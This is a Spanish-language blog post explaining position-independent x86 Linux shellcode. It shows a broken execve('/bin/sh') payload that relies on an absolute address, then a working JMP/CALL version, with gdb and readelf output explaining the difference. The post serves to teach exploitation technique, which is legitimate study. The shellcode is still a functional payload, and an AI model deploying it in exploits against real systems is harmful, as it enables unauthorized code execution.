Curiosity is insubordination in its purest form. -Vladimir Nabokov

miércoles, 27 de octubre de 2010

Creando shellcodes "position independent"

Hay un concepto en ASM/shellcoding llamado "position independent".

Por definición, un código es position-independent cuando todas las direcciones de memoria que referencia son relativas (por lo general, con respecto al registro EIP).

Para ilustrarlo, a continuacion muestro un ejemplo de un shellcode _mal hecho_ por este motivo:

BITS 32
;int execve(const char *filename, char *const argv[], char *const envp[]);

xor eax, eax
cdq ;edx=envp
push edx ;terminamos cadena de filename y el array argv
push sh ; ***!!!MAL!!!*** Se hace un push de la direccion absoluta de la cadena
mov ebx, [esp] ;ebx=direccion de la cadena
mov ecx, esp ;ecx=direccion del puntero a la cadena
mov al, 11 ;execve es la syscall 11
int 0x80
sh db "/bin/sh"

Mediante gdb, podemos ver como se hace un push a una direccion de memoria absoluta, lo que demuestra por definición que el código no es position-independent.

(gdb) disassemble _start
Dump of assembler code for function _start:
0x08048060 <_start+0>: xor %eax,%eax
0x08048062 <_start+2>: cltd
0x08048063 <_start+3>: push %edx
0x08048064 <_start+4>: push $0x8048072
0x08048069 <_start+9>: mov (%esp),%ebx
0x0804806c <_start+12>: mov %esp,%ecx
0x0804806e <_start+14>: mov $0xb,%al
0x08048070 <_start+16>: int $0x80
End of assembler dump.
(gdb) x/7b 0x08048072
0x8048072 <sh>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68</sh>

El shellcode devolvera una shell porque dentro de la seccion de tabla de simbolos del ELF se guarda la direccion tal y como esta referenciada por el push. Pero en una explotacion real, ya no sería así, dado que esa direccion ya no va a apuntar a /bin/sh, porque como atacante estamos bajo ambito del programa que queremos explotar, y no podemos contar con que el programa vulnerable haya colocado la cadena en la misma dirección que asumió NASM al ensamblar.

Para verlo en la práctica, basta declarar otro string que sea la cadena vlan7 en el codigo para que se vea como con 0x8048072 ya no estariamos apuntando a '/bin/sh' , sino a 'vlan7' , con lo cual se produciria una violacion de segmento.

root@bt:~# readelf -s sc |grep 08048072
root@bt:~# readelf -s sc2 |grep 08048072
4: 08048072 0 NOTYPE LOCAL DEFAULT 1 vlan7

Es decir, este shellcode no es "position independent", y lo solucionamos con un shellcode JMP/CALL que sea "position independent", es decir, que sea capaz de obtener la dirección de la cadena "/bin/sh" independientemente de donde estemos cargados en memoria. Ahi va una.

BITS 32
; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax
cdq ;envp es 0
mov al, 11 ;execve es la syscall 11
push edx ;terminamos cadena y array argv
jmp short down ;jmp short = no bytes nulos
back:
mov ebx, [esp] ;direccion de la cadena
mov ecx, esp ;direccion del puntero a la cadena
int 0x80
down:
call back ;ponemos la cadena /bin/sh en la pila
db "/bin/sh"

Para terminar, algo basico pero que conviene tener presente:

mov ebx, [esp] pone en ebx la direccion de esp como todos sabemos. Pero ¿cual es la direccion de esp en ese momento?

¿Que hay antes de ese mov ebx, [esp] ?

Un call.

call tiene una "feature", y es que guarda en la pila la direccion de la siguiente instruccion, de tal forma que cuando la subrutina a la que llama finalice con un RET se pueda retornar correctamente a la siguiente instruccion (ret hace un pop de dicha direccion de memoria). Hemos colocado la cadena justo despues de la llamada a call, es por eso que su direccion se coloca en la pila.

Referencias:

Related Posts by Categories



0 comentarios :